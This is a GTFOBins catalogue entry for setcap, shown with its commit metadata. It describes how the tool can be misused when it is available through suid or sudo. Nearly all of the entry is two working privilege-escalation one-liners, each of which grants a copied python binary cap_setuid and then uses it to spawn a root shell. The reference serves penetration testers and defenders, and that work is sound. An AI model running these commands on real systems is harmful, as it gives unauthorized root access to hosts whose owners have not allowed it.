GTFOBins.github.io/_gtfobins/setcap.md
Sofia Engvall 7c09fc2506
Create setcap.md
Adding setcap suid and sudo exploits
2024-06-19 00:49:36 +02:00

528 B

description functions
sets and removes capabilities on files
suid sudo
description code
Can be used to give and capabilities to other files. cap_setuid for example gives an executable permissions to switch uid. cp $(which python) . setcap cap_setuid+ep python ./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
code
cp $(which python) . sudo setcap cap_setuid+ep python ./python -c 'import os; os.setuid(0); os.system("/bin/sh")'